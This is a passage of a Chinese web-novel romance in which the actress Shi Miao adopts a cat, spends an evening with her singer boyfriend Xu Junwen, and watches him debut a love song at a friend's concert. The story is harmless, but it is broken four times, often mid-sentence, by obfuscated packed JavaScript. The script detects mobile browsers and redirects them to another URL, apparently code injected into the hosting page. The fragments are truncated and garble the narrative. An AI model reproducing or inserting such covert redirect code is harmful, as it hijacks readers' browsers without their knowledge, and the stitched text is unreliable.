时缈愣了一下,而后才回想起来,许钧闻说的是在节目直播中,他向网友们“解释”自己在入住别墅第一天的时候为什么面色不虞、说话隐约有些夹枪带棒的。 她还以为这只是他随口扯的借口。 谁能想到许钧闻还真为了这一句话,去买了一只小猫咪回来养。 “为了贯彻落实时缈女士‘节目录制期间绝对不能暴露关系’的指示,我可是煞费苦心了。” “……那你还真是辛苦了啊,许老师。”时缈扯了扯唇角。 “你工作室里不是还有那么多人吗,怎么不让他们帮你养一下。” 放在她这个从没养过宠物的人的手里,他还真是放得下心啊。 “这不是为了防止某些人,趁着和男朋友‘异国恋’的时候,再次人去楼空说跑就跑吗?”许钧闻轻笑一声,语气意味深长,“孩子在身边,某些人再怎么狠心,也不能‘抛夫弃女’了吧?嗯?” 等等。 什么叫“抛夫弃女”啊? 时缈无语地看着屏幕对面的人。 许钧闻像是没看出她的表情似的,得意洋洋地扬了扬下巴:“你说是不是?某些人?” “……” 好好好,逃跑一次,终生理亏。 “它叫什么名字?” 时缈看着到了新环境后一溜烟躲到茶几下面的白色小布偶,扯开话题。 “圆圆。”他回答。 “哪个y ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怎么不像是个溺爱小孩的家长呢。 还有什么来着…… 哦,好像还买了好几种不同品牌不同口味的猫咪小零食。 在哪个快递盒里来着? 时缈随手捞起一个盒子,用剪刀划开快递盒上的胶带。 随手一倒。 快递盒里的东西咕噜噜的掉了出来。 时缈低头,看着散落在腿边花花绿绿的小盒子,动作一顿。 恰好此时,不远处吃饱喝足的圆圆朝她跑过来。 看见地上的小盒子,好奇的鼻子碰了碰,又用雪白的小爪子扒拉了几下。 “圆圆。” 时缈制止它的动作,快速将一地的空快递盒整理好,然后将刚才某个盒子中掉落出来的东西归拢到一起,忙不迭塞进茶几的抽屉里。 然后她将圆圆抱到自己身体的另一侧,小小的玩具堆旁: “来这边哦,这些都是你的啦。” 71. 71首情歌 虽然没有和许钧闻见到面。 但时缈每天都能收到很多关于他的消息—— 有些是徐大明星本人亲自报备的行程。 上到和品牌营销总监吃饭,下到团队外出拍海报图,路边看到了什么有趣的小店自然也是要给她录个视频发过来的。 更不必说早中晚三餐的餐食打卡更是顿顿不拉。 除此之外,微博上关于许钧闻的热搜词条也是接连不断。 机场接送、街边偶遇、晚宴动图,层出不穷应有尽有。 明明人不在她眼前,可时缈感觉自己接收到的关系许钧闻的消息数量简直是呈爆炸式增长。 「许钧闻:在哪里?」 时缈刚回到家,照例先给属于圆圆的“餐具”里填上粮和水——虽然只是短短一周,但照料这只白色布偶小猫已经成为了她每天雷打不动的习惯□□项之一。 以前她从来没觉得养成一个习惯是这么简单的一件事情,可直到早晨从迷迷糊糊的精神状态里逐渐清醒过来,发现自己正蹲在小猫的猫碗前时,她才意识到,原来自己这么快就接受了“家里来了一个新成员”的这件事。 刚给小猫开了一个新口味的餐盒,时缈的手机就嗡嗡震动了下。 「时缈:在家。」 「许钧闻:开门。」 时缈微不可查地挑了下眉,揉了一把凑到她腿边躺倒撒娇的小猫脑袋,趿着拖鞋去开门。 打开门,发现许钧闻手里还提着几个商品袋,时缈侧身让他进来:“怎么这个时间过来了。” 语气十分自然,一点惊喜,或者说是惊讶的感觉都没有。 “嗯?” 许钧闻进门的动作一顿,眯起眼睛看她:“出国出差一周的男朋友终于回国了,我怎么觉得你一点都不惊喜呢?” 时缈憋着笑,打开微博,将热搜榜单举到他面前:“你在机场的‘神图’已经上热搜了,我不止知道你回国了,甚至连你的航班几点起飞、几点落地都已经知道了。” 按照网上提到的他出现在江城机场的时间来算,时缈猜测,许钧闻大概是一回到江城就先来她这里了。 果不其然,紧接着许钧闻就叹了口气,语气颇为遗憾地道:“我还以为能给你一个惊喜呢。” “你怎么就知道我一定在家呢?万一我加班什么的,或是在路上耽搁了,还没到家的话你怎么办?” “那就在门口等你呗。” 许钧闻蹲下身,逗弄着凑过来撒娇求摸摸求抱抱的小猫,没有思考和犹豫地回答。 他的计划里从来都没有“自己先回家休息,明天再来见她”的那一项。 不管是以前,还是现在,亦或是目前他所能想象到的所有未来里,“时缈”这两个字总是排在第一顺位的,连他自己都不能比她更重要了。 所以他落地江城,当然第一时间要来见她。 时缈打开冰箱的动作一顿。 虽然觉得他这样有些辛苦,但听见许钧闻这话,她心底还是忍不住冒出了粉红色的小泡泡,将她整个心脏撑得满满当当。 “饿不饿?吃点什么?”她问。 许钧闻起身,走到她身后,一条手臂环过她的肩,形成了一个将时缈从背后环抱住的姿势,下巴抵在她头顶:“你想吃什么?哥给你做点。” 时缈戳了戳他的手臂:“许钧闻,我都说了,我已经不是当年那个做饭堪比炸厨房的时缈了。” “而且我在节目组的时候不是也做过饭吗?你能不能对我的厨艺有点信任啊。” 许钧闻捏了捏她的脸颊,打断了她不满的控诉: “知道你现在已经变得很厉害了。” “但是在我面前,你还是可以做那个不那么独立、不需要什么都会的时缈小朋友。” 他说得漫不经心,却轻而易举地勾起了时缈很多关于过去的记忆。 以前时缈撒娇要许钧闻照顾自己的时候,总是被许钧闻捏着下巴调侃说她是一个“什么都不会的三岁小朋友”。 而每每这时候,时缈也不气恼,而是甜笑着竖起几根手指:“不,明明已经五岁了。” 这些对话放在旁人眼里,或许幼稚又傻气。 毕竟人不可能一辈子都做一个什么都不会的小孩子。 可每个人,都能在最爱自己的人的面前,重新变回那个什么都不会的小孩子。 许钧闻想要照顾时缈。 可同样的,时缈也想照顾许钧闻。 就当是对六年前的隐瞒和不告而别的一点点补偿也好。 虽然远远不够。 但既然他们重新在一起了,时缈有的是时间去弥补自己过去犯下的错误。 他们之间,来日方长。 “不行。” “虽然你是大明星,但是,现在这是我的地盘,只能我说了算。” 时缈扭过头,盯着他看。 “行。” “你说了算。” “咱们家的事情都可以是你说了算。” 许钧闻见她坚持,从善如流地放开手,俯身凑到她脸颊上亲了一下:“那我先带女儿去玩一会儿咯。” …… 不是,这是什么“一家三口”的设定吗? 这家伙也说得太顺口了吧。 * 过去几年的独居生活,已经将时缈锻炼得十分独立了。 一个从小在家几乎没有怎么做过家务的小姑娘,现在不仅会做饭,甚至还会修一些简单的家用电器了。 许钧闻并没有把时缈一个人留在灶台前,而是抱着圆圆,靠在一旁的墙壁上,目光专注且带着笑意地看着时缈有条不紊地忙碌着的背影。 时缈正端着碗打着鸡蛋液,身后忽然缠上来一道热意。 “干什么呀?” 时缈吓得手一抖,要不是她反应快,差点就要将碗打翻了。 “不干什么啊,就是想抱抱你。” 许钧闻将下巴垫在她的颈窝上:“想我了没?” 分开的这段日子,许钧闻时不时会在微信上问时缈这个问题。 可时缈从没有任何一个时刻,这么不受控制地红了耳根。 “问你话呢,时缈。” 见她不回答,许钧闻侧过头,嘴唇贴近她的耳垂,说话时柔软温热的唇瓣就这么擦过她耳垂处的皮肤。 纵使那一处的神经末梢再不敏感,时缈还是觉得一阵酥酥麻麻的痒意顺着血液一路流淌进她的四肢百骸,让她头皮都有些发麻。 许钧闻像是非要打破沙锅问到底,得不到回答就不罢休似的,还要继续追问些什么。 时缈担心他继续影响自己做饭,忙不迭地应声:“嗯嗯嗯,想了想了。” 许钧闻轻而长的出了口气,低声回应:“我也想你了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120467|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “所以工作结束选了最近的一趟航班回来见你了。” 时缈不由得想起,上中学时在企鹅空间里流行过的一句话,大约是说: 喜欢的东西要立刻去吃,喜欢的人要马上去见,这就是生活最高级的浪漫了。[1] 以前还有不少人嘲笑过这句话“非主流”。 可当下这一刻,时缈竟也觉得这句话其实倒也有几分道理。 “饭要过一会儿才能好,要不你先去睡一会儿?”时缈顺口问道。 “我睡哪里?” 时缈的公寓是小户型,面积不大,住她一个人刚刚好,自然是没有多余的客房了—— 连她父母来的时候,都是父母住她的主卧,她自己将就在客厅沙发上睡几晚的。 但许钧闻刚刚结束工作又经历了一场长途飞行,时缈又实在不忍心说让他在沙发上将就一下。 “……逗你呢。” 许钧闻揉了一把她的头发,直起身松开她:“倒时差,得坚持到晚上再睡。” * 饭后,时缈坐在沙发上,抱着平板漫无目的地划拉着,心思却都集中在传到客厅来的流水声上面。 她下厨做了饭,两个人,简单的三菜一汤。她吃得不多,许钧闻也不知道是真饿了还是为了给她捧场,消灭了绝大部分的饭菜。 吃完饭之后又十分自然地承担了洗碗的工作。 “你去那边坐着休息吧,”时缈原本想拦住他,“不是说忙完都没来得及休息就赶回国了吗?” “哪有让女朋友又做饭又洗碗的道理。” 许钧闻双手握住她的肩头,将她半推半带着“送”到了沙发边,俯身一把捞起正趴在地板上玩小玩具自娱自乐的圆圆,将小家伙塞进时缈的怀里:“你先在这儿陪它玩一会儿,我等下就来。” 自从入职定居江城之后,除了学校放寒暑假的时候她的父母会来这边探望她并简单小住几天之外,时缈的小公寓里绝大部分时候都只有她一个人。 自从和许钧闻和好之后,先是小猫和一大堆宠物用品,后是他“懒得带走”的行李。 时缈的小窝里倒是越来越有烟火气了。 一个普通的工作结束后的晚上,她坐在沙发上撸猫,他进厨房洗碗。 像无数个红尘世俗中的小情侣一样,简单又美满。 和喜欢的人一起吃一顿亲手做的家常菜,收拾干净房子之后又并肩靠坐在沙发上一起看看电视聊聊天。 和她曾经无数次幻想过的生活别无二致。 夜色渐晚,时缈平日里的作息可以算是比较规律的那一种,因此一部电影还没有放完,她就已经有了些困意。 侧头偷偷瞄了一眼身边的许钧闻,神色认真、目光专注,看不出一点困倦—— 不是说工作结束立刻赶飞机回来了吗?怎么还这么精神呢。 “这么晚了……” 时缈看了一眼时间,犹豫了一下,试探着开口:“你不回去早点休息吗?” “我可是一下飞机,时差都没来得及倒就来见你了。时缈,你好狠的心,居然满脑子想的都是要赶我走吗。” 许钧闻屈指挠了挠圆圆的下巴,小猫咪缩在他怀里,一双漂亮的水蓝色眸子舒服得眯起来。 他抬头,漫不经心地轻笑一声: “怎么,时缈,你这是打算去父留女啊?” 72. 72首情歌 “许钧闻。” 时缈乜了他一眼,轻声道:“好好说话。” 什么父啊女啊的。 “哪里没有好好说话了?” 许钧闻将小猫举起来:“这是女,我是父,你把它留下,把我赶走,不是‘去父留女’是什么?” “喵~” 许钧闻话音刚落,被他举在半空中的小猫恰好软绵绵地叫唤了一声。 “你看,圆圆也觉得我说得有道理,”许钧闻晃了晃手臂,“是不是?” “喵呜~” 小猫又叫一声。 “况且……” 许钧闻放下小猫,倾身逼近,低沉而富有磁性的嗓音中带着显而易见的戏谑和调笑:“你那抽屉我可是帮你清理收拾过了,东西还真不少啊?时缈?” “??!!” 时缈差点从沙发上弹起来:“你怎么乱翻别人家的抽屉呢!” “这可真是冤枉我了,”许钧闻指了指趴卧在他膝盖上的圆圆,“它扒拉开的,我一顺手,就给你收拾了一下。” “不感谢我也就算了,还倒打一耙说我乱翻你东西?小没良心,以前帮你收拾行李的时候怎么没见你不乐意?也不知道那时候一口一个‘谢谢宝贝、哥哥真好’的到底是谁。” 以前,时缈去许钧闻的出租屋次数多了之后,索性留了一些日常用品在那里。 每次她用完随手一搁,再回来时发现那些被她随便拿取的东西都已经被摆放归位,连她随手放在床尾的睡衣,下次再来时也规规矩矩地挂在了衣架里——是谁收拾的就不言而喻了。 可他学她说话时的语气,也太腻歪了点吧? 她以前都是用这么语气和他说话的吗? “那……那你现在也不能随便乱动我的东西了。” 时缈别开眼:“以前那是你家,现在这是我家。” “什么你家我家的,”许钧闻长臂一伸,将她捞到自己怀里,“有你的地方才是我家,不是吗?” 许钧闻的动作来得突然,时缈没有防备,直愣愣地扑进他的怀里。 他身上清爽的薄荷味与她身上乌木玫瑰的香气缠绕在一起,时缈的手撑在他胸前,掌心下两道交错的心跳逐渐同频。 许钧闻低下头。 视野里那张帅气逼人的面庞愈来愈近,时缈下意识地闭上眼睛。 一声轻笑。 一个轻轻的吻落在她的眉心。 “确实不早了,我得走了。” 许钧闻揉了揉她的头发:“褚辰的演唱会邀请我做嘉宾,回去收拾一下就得赶去机场了。再不走的话……” 他顿了顿,没有把后半句说完。 “演唱会嘉宾?” 显然,时缈抓取到的重点信息和许钧闻所要表达的中心思想截然不同,她茫然地重复一遍他刚才提到的事情,疑惑:“没看见行程单上有这一项啊?” “神秘嘉宾嘛,在出场之前当然要严格保密。” 许钧闻捏了捏她的脸颊:“你可是除了双方工作人员之外,第一个知道这个消息的人。” 说着,许钧闻忽然冒出了一个想法:“想去吗?想去的话可以想办法带上你一起去。” 作为圈内人以及演唱会特邀嘉宾,想带个“亲友团”进场看表演还是很容易的。 时缈忙不迭摇摇头。 和许钧闻一起去听演唱会?她是还嫌曝光得不够快吗? 和《适合恋爱的夏天》节目组签过合同的,在录播版正式完结之前,如果因为个人原因对上线的节目产生了负面影响的话也是要付违约金的。 那串数字她光是看着就足够肉痛了。 “时间这么紧,你就应该先回去好好休整一下。” 时缈靠在他怀里,轻叹口气:“我都说了不会再偷偷跑掉了,怎么,不相信啊?” “不是不相信你。” 许钧闻捏住她的下巴,将时缈的脸抬起来:“是真的很想你,所以一定要第一时间来见你。” 这句话,他一晚上已经说过好几遍了。 时缈心头鼓鼓涨涨,仿佛有暖流顺着血液源源不断地涌进心房。 于是,遵循着自己内心此刻的感受,她搂住许钧闻的肩膀,仰头吻上去。 从过去到现在,细数他们之间的亲吻,绝大多数时候都是许钧闻更加主动一些。 即便不是他主动,最终的主动权也很快就会被他尽数夺过去—— 此刻也不例外。 时缈凑上去亲吻他,也模仿他之前亲吻自己时的动作,用舌尖浅浅勾了下他的唇边。 只这一下,就被许钧闻抓到了破绽。 他按住她的腰,完全不给她留任何退路,仿佛恨不得将她嵌进自己怀里。 时缈的舌尖被人卷住,柔软的触感让她下意识想要躲开,却恰好给了许钧闻进一步侵占她的全部气息的机会。 她没有办法,只能仰着头承受他给予的一切。 许钧闻额前的碎发,若有似无地扫在她的皮肤上。 时缈额前那一小片皮肤被这若有似无断断续续的痒意折磨得不行,想要偏头躲开。 许钧闻却以为她是想打断这个由她主动发起的吻。 可他完全不想给她这个机会。 于是许钧闻一手扶住她的后脑勺,另一只手揽在她的腰上,稍一用力就将人压在了沙发上。 原本惬意地窝在他腿上的圆圆早就被他们惊动,“喵”了一声从他的腿上跳下去。 歪着脑袋看了眼沙发上的两个人类,圆圆的鼻尖动了动,“喵喵”叫了两声,见无人搭理自己,便自己跑开了。 时缈彻底被困在他的胸膛和沙发之间。 许钧闻耐心地引导着她,直到时缈彻底跟上了他的节奏,主动迎合着他的动作。 被亲得有些迷迷糊糊之间,腰上忽然贴上了一道热度,像是要将她那处的皮肤灼伤似的。 许钧闻的手掌从衣服下摆探进来,虎口卡在她腰侧,凸起的关节与她滑嫩的皮肤毫无隔阂地贴在一处。 他的指腹和指根有着薄薄的茧,是常年弹琴留下来的痕迹。 牵手的时候,那几处薄茧的存在感并不像此刻——这薄茧的触感强烈到她所有的感官都忍不住要集中到自己的腰间。 许钧闻紧贴着她,感受到她再次被打乱的呼吸,沉声诱哄:“专心一点。” 他轻轻咬了一下她的下唇瓣,似乎是在对她的走神施以惩罚。 与此同时,他的大拇指有规律地摩挲着她的腰侧。 时缈在他说话的间隙小小抽了口气。 他这下意识的动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但在公众场合,他还是那个万众瞩目的大明星。 “站那么远干什么。”许钧闻牵住她的手,将她拉到自己身边。 “怎么,亲完就不认人了?” 他轻笑:“好渣啊,时小姐。” 被他的玩笑打了个岔,时缈的心情忽然就放松下来了一些。 时缈轻吐了口气,感受着自己的手被许钧闻完完全全裹在掌心里。 电梯的数字一点一点跳动着减小,明明平日上班时觉得奇慢无比的电梯,此刻时缈却觉得它简直太快了。 快到她还没想好要说些什么,就“叮”的一声停在了负一层。 “路上注意安全。” 不想耽误许钧闻的时间,她只好想到什么就说什么:“演出顺利,不别太累了照顾好自己。尤其是不要在这样连轴转地赶航班了。” “好。” 许钧闻耐心地一一应下来。 电梯门缓缓打开,他抱了抱她,俯身在她耳边,低笑一声: “抽屉就留着下我回来的时候再收拾吧。” 73. 73首情歌 桌上的鲜榨果汁已经喝了一大半,白色的如同一个汤圆团子的圆圆踩着轻盈的步伐在桌面上走来走去,时不时用脑袋拱一拱时缈的电脑屏幕,像是在好奇她正在看什么似的。 画面被小猫的身影挡住一大半,时缈也不恼,伸手,耐心地一下一下顺着圆圆那身被养得油光水滑的毛。 “接下来,我要请出来的,是我的一位非常好的朋友。” 一个清冽的、充满少年感的嗓音从蓝牙音箱中传出来。 “你们有人猜到是谁吗?” 现场嘈杂的尖叫声此起彼伏,似乎是在热情地回应着台上的人的问话。 “让我们掌声有请——” “许!钧!闻!” 听见许钧闻的名字,时缈稍稍坐正几分,将圆圆从屏幕前抱起,搂进自己的怀里,低头柔声哄它:“圆圆,你看谁出来了?” 小猫歪了下头,“喵呜喵呜”地叫了两声,然后寻了个舒服的姿势,窝在时缈的怀里舔爪子。 “大家晚上好,我是许钧闻。” 熟悉的声音即便是在排山倒海的欢呼声中也能够被轻易辨认出来。 时缈在直播间里守了这么长时间,终于等到了许钧闻的出场。 虽然她没有去演唱会现场,但褚辰目前所签约的经纪公司所属的传媒集团旗下还经营着一个视频平台,因此,充值该平台的年费会员或是花钱单独购买“电子门票”,就能够在这个视频平台上收看褚辰的演唱会直播。 刚下班回到家,时缈收到了许钧闻发来的消息: 「许钧闻:[图片]」 点开一看,是他正坐在化妆镜前做妆造的对镜子拍。 「许钧闻:报备一下,演唱会快开始了。」 「许钧闻:要是有急事联系不到我,就给豪哥打电话。」 时缈挑了个点头的小兔子的表情包回复过去,失笑。 她就在家里待着,能有什么急事。 那边收到消息的许钧闻心满意足地收起手机,一抬头,恰好对上去隔壁房间找定型喷雾回来的造型师。 “这么开心啊许老师?” 造型师走到他身后站定,一边给他的发型喷定型喷雾,一边随口和他闲聊:“有什么好事发生?” “没什么事。” 许钧闻勾唇:“演唱会快要开始了,跟家里人讲一声而已。” 许钧闻出道这么久,身边一点桃色绯闻都没有。 因此造型师根本没有往别的方面想,还以为许钧闻口中所说的“家里人”是他的父母或者兄弟姐妹:“那你和家里人感情可真好。我跟家里一个月才能想起来打一次电话呢。” 但由于不知道许钧闻到底什么时候才会出场,生怕错过许钧闻表演的时缈索性一下班回到家就登陆了视频网站,挂在直播间里,一边听歌一边等待许钧闻的出现。 直到演唱会已经进行了一个多小时,作为“神秘嘉宾”的许钧闻终于在全场的欢呼声中,乘着升降台缓缓出现在舞台的正中央。 “许哥,好久不见。”褚辰上前和许钧闻拥抱了一下,再次激起台下阵阵尖叫。 连弹幕都在这一刻变得密集了很多: 「啊啊啊啊啊啊!双厨狂喜!没想到在这里还能看到我许哥!」 「我跟朋友打赌,我说演唱会嘉宾说不定会是许钧闻,我朋友还不信哈哈哈哈哈哈哈,这下她可要承包我接下来一个星期的早餐咯~」 「许钧闻和褚辰私下里关系那么好,褚辰的演唱会请许钧闻做嘉宾这件事有那么不可思议吗?」 「的确,所有人都知道他们两个私人关系好,但之前许钧闻也从来没有作为演唱会嘉宾出现过啊?难道还不能让人表达一下惊喜和惊讶了?」 「谁懂啊家人们,我还嗑过这两人的cp呢!还以为等不到两位同框了,结果!一脚给我冲洗踹回坑底了!」 「我还以为这两位这辈子都不会在明面上有过多交集了!有生之年!我圆满了!」 「啊,有人能给新粉科普一下为什么大家都没想到许钧闻会是演唱会嘉宾吗?」 「简单来说呢,就是褚辰的前经纪人和许钧闻的前经纪人很不对付,不对付到粉丝们都感觉他们会互相扎对方小人的那种,所以两人分别和前经纪人解约之前基本没有同框过,王不见王了属于是。」 「现在好了,两个人都和之前的经纪公司解约了,终于是可以一起在演唱会上玩了^_^作为两位的粉丝我是真的很欣慰。」 「虽然都解约了,但区别是,褚辰那属于和平分手,许钧闻属于是大闹天宫。稍稍还是有点区别的哈哈哈哈哈哈哈」 「hhhhhh好一个大闹天宫。」 「大好的日子,咱们就不要提某些晦气的人和事了好吧姐妹么。」 「不过话说回来,前阵子我听一个和娱乐圈有点点关系的朋友提过一嘴,某些人最近的日子好像过得不太平哦?」 …… 现场的镜头推近,许钧闻的身影被放大。 他穿了一身浅蓝色的休闲西装,既亮眼又不至于喧宾夺主,刘海处也有一小簇头发被挑染成蓝色,与整体造型相互呼应,也给他整个人平添了几分妖冶的气质。 即便是分手这么多年,时缈也关注着许钧闻的每一张专辑、每一场演唱会。 在她的印象里,许钧闻绝大部分时候所展现出的气势都是桀骜锋利的,演唱会服装也大多以黑色红色为主,偶尔也会穿白色,但总之很少会有这么惑人的时刻。 许钧闻和褚辰在台上小小互动了下,紧接着两人就一起合唱了一首褚辰新专辑的主题曲——这首歌,还是许钧闻亲自为他作曲填词的。 “一直希望有机会能和许哥约首歌,这一回终于圆梦了。” 一曲终了,褚辰笑着问台下的观众,一手放在耳边做倾听状:“怎么样,这首歌好听吗?” “好——听——” 台下的观众疯狂回应。 “你们喜欢吗?”褚辰将话筒递向观众的方向。 “喜——欢——” 观众继续配合。 “我也很喜欢。” 褚辰眨眨眼,拍了拍许钧闻的肩。 连续不断地唱了半场演唱会的时间,会感到疲惫、需要休息自然是难免的。 许钧闻作为表演嘉宾,就是要避免场子冷下来的同时,给歌手争取一些休息的时间。 “或许许老师可以和大家聊聊最近的生活。” 褚辰玩笑道:“大家都知道,许老师前段时间刚去参加完一档恋爱综艺……” 说到这里,台下的尖叫声更盛。 谁不知道,万年没有一条绯闻、出道至今没被拍到过任何恋情动态的许钧闻,破天荒地参加了一档恋爱综艺的录制,还在节目中自爆了感情经历。 鉴于许钧闻的脾气秉性,敢在他面前主动cue到这件事,足以证明褚辰的确和他私交不错了。 “既然话说到这里,不如我就趁此机会替大家,尤其是替喜欢许老师的歌迷朋友们问一问——” “许老师,你准备什么时候出首情歌呢?” 「啊啊啊啊啊啊啊啊啊啊啊啊褚辰好勇!」 「褚辰,当代网友最强嘴替!当着正主的面问出了我最好奇最想知道的问题!」 「笑死。表面上:你准备什么时候出情歌?内心里:你和你的白月光还有没有新故事?」 现场的镜头在激动兴奋的观众席上扫了一圈,然后重新落回许钧闻的身上。 那张眉眼深邃、目光向来都是锐利而不驯的帅气脸庞上,勾出了一个浅浅的笑意。 “啊——!” 许钧闻勾了勾唇的动作恰好被镜头完整收录,掀起了演唱会的又一次高.潮。 “这么期待吗?” 褚辰点头:“当然,你听听歌迷们的呼声,许老师。” 许钧闻挑了下眉。 爆红这几年,不少媒体记者长枪短炮围着他问过这类问题,但都无功而返。时间一长,圈内艺人们也都开始把这话题当做一个打趣许钧闻的玩笑。 褚辰和许钧闻私交不错,因此在演唱会上拿这话和许钧闻开玩笑在大家眼里也不是什么稀奇事。 没有人把褚辰的玩笑话当真。 也没有人真的期待许钧闻会给出一个准确的答复。 可就在这种时间、这种场合,在所有人都以为许钧闻还会像之前无数次表现出的那样,对这个问题避而不谈的时候,大屏幕上许钧闻脸上散漫的笑意收敛几分,他接过工作人员小跑着上台递给他的吉他,随意拨弄了一下琴弦: “既然褚辰老师这么期待,而且这又是在褚老师的演唱会上,我怎么好拂了你的面子呢?” 现场先是静了一瞬,然后瞬间爆开惊叫。 实时弹幕也开始疯狂滚动。 「是我想的那个意思吗!!!」 「等下等下等下!谁来给我解释一下这句话!我怕是我听错了啊家人们!」 「活久见,奶奶你追的歌手好像是真的要发情歌了!!」 「我的妈,我怎么忽然感觉我的青春结束了……突然好想哭是为啥啊……」 时缈坐在电脑屏幕前,看着舞台上被聚光灯环绕的许钧闻,一时间有些大脑空白。 还是因被她无意识愈发用力箍在怀里而不安地叫唤了两声的小布偶将她的神思重新拽了回来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162383|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接下来,趁我们褚辰老师去休息的时间,给大家带来一首我即将发布的新歌——” “歌名叫做,《旧时情歌》。” 如果之前对于许钧闻的回应,还只是观众们不确定的自我猜测。 当歌名和歌曲前奏出现的这一刻,所有人都意识到—— 许钧闻!真的!唱了一首自己原创的情歌! 一直以来,歌迷们对许钧闻的演唱会风格的定位都是“又燃又酷”,像极了他本人,桀骜不驯的样子。 可这首《旧时情歌》,一改平日里自由洒脱的风格,前奏一出,就让人忍不住想要停下手中所有的事情,安安静静听他唱完整首歌。 「天呐……我真的没想到,许钧闻写出来的情歌会是这种风格!」 「没错,按他之前的风格和整个人的气质,我以为会是那种轰轰烈烈的爱情故事,没想到……居然这么清新纯爱吗?」 「清新纯爱……许钧闻四年老粉从来没想过这哥有朝一日会被人用这种词形容啊hhhhhhh」 「啧啧啧,这首歌完全就是在写初恋吧?」 「???嗯嗯嗯,前面的姐妹,你好像发现了什么不得了的东西!」 「所以!许钧闻那个在节目里自爆的前女友是他的初恋啊!!!我的天我真的羡慕死了!年纪轻轻吃得就太好了吧那位不知名的初恋姐妹!」 「重点不是在初恋啊……重点是,许钧闻自己说的,因为承诺过自己写的情歌的第一个听众一定是她所以分手后这么多年没有再发过情歌……那现在,这家伙,在好朋友的演唱会上唱了自己的原创情歌……这意思还不够明显吗朋友们!!!」 「Vocal!所以!!救命啊我天塌了啊!!」 全场沸腾。 尖叫声仿佛要冲破屏幕似的。 直播页面右上角,越来越多的人涌入这场演唱会的直播间,收看人次节节飙升直直逼近七位数。 即便没有看过《适合恋爱的夏天》的直播,但不少人都在网上刷到了许钧闻的相关cut,尤其是他自爆感情经历的那两天,热搜几乎都快被“许钧闻”这三个字占满。 稍一回忆,现场以及网上的观众们就能回想起,许钧闻亲口所说的自己这么多年不发情歌的原因。 而现在,他当着现场几万名观众以及直播间几十万网友的面,抱着一把吉他,屈腿坐在舞台正中央的高脚凳上,以一种娓娓道来的姿态,轻声吟唱他自己创作的情歌。 他的歌,唱歌此刻的所有观众听,也唱给他曾亲口承认过的“第一个听众”听。 时缈背靠在椅背上,从未如此清晰地感受到心脏疯狂跳动时的频率。 她认出了这个旋律。 那些陪伴着她过去六年中每一个难以入睡的深夜的音频里,有一条和现在许钧闻站在台上唱的这首歌的前奏几乎一模一样。 比起当年随手写下的稚嫩曲调,现在所呈现出的这首歌显然是经过了更加仔细地、用心地打磨。 时缈不知道他是什么时候写完的这首歌。 或许是在和她一样辗转反侧的六年里,也或许是在重逢后在节目组的别墅中朝夕相处的时光中。 许钧闻从没有和她提起过这首歌的存在,也没有执意邀请她来听今天的这场演唱会。 明明她不在现场,明明许钧闻也不知道她会在电脑前守了一个多小时,只为了等他出场唱不到十分钟的歌。 可他偏偏用了这样一个,她或许不知道,但在场以及在线的歌迷们一定能知道的方式,向全世界宣告—— 他找回那个他最想唱情歌给她听的那位特殊听众了。 “想给你唱一首,来自旧日的情歌,唱春日烟火,月映星河。” “想给你写一首,寄给未来的情歌,写四季更迭,愿不变的是你我。” 许钧闻沐浴在舞台的灯光下,一条腿屈起,踩在高脚凳的横杆上,吉他被他抱在怀里,那双修长且骨节分明的手指拨弄着琴弦。 和当年,夕阳灿金色余晖笼罩着的窗边,他坐在飘窗上,信马由缰地随意弹唱给她听的样子一模一样。 时缈抬手揉了揉酸胀的眼睛,两行眼泪终于还是不受控制地流了下来。 即便在她听不见、看不见的地方,许钧闻也想要大大方方地把他们的爱情唱给所有人听。 一曲终了,演唱会现场掌声雷动,尖叫不断。 时缈将电脑的音量调成静音,缓缓趴在桌子上。 额头抵在手腕处,时缈的眼泪大颗大颗地砸在膝盖上,将她薄薄的睡裙浸透,浅紫色的布料上留下一个个不规则的水渍。 在这一刻。 她忽然。 好想见到他啊。 74. 74首情歌 演唱会结束,后台休息间。 褚辰鬓边的碎发被汗水尽数打湿,额角的妆容也变得斑驳,但他浑不在意,只想一动不动地瘫坐在沙发上。 “怎么我看你开演唱会的时候没有这么狼狈?到我这儿了一场演唱会开完感觉比连夜爬五遍泰山都累啊。” “可能因为你的舞台都比较‘折腾’吧。”许钧闻淡淡评价道。 褚辰是一个唱跳歌手,两个半小时的演唱会几乎百分之八十的舞台都需要他边唱边跳,这对于艺人的体力、舞蹈以及唱功都是一个很大的挑战。 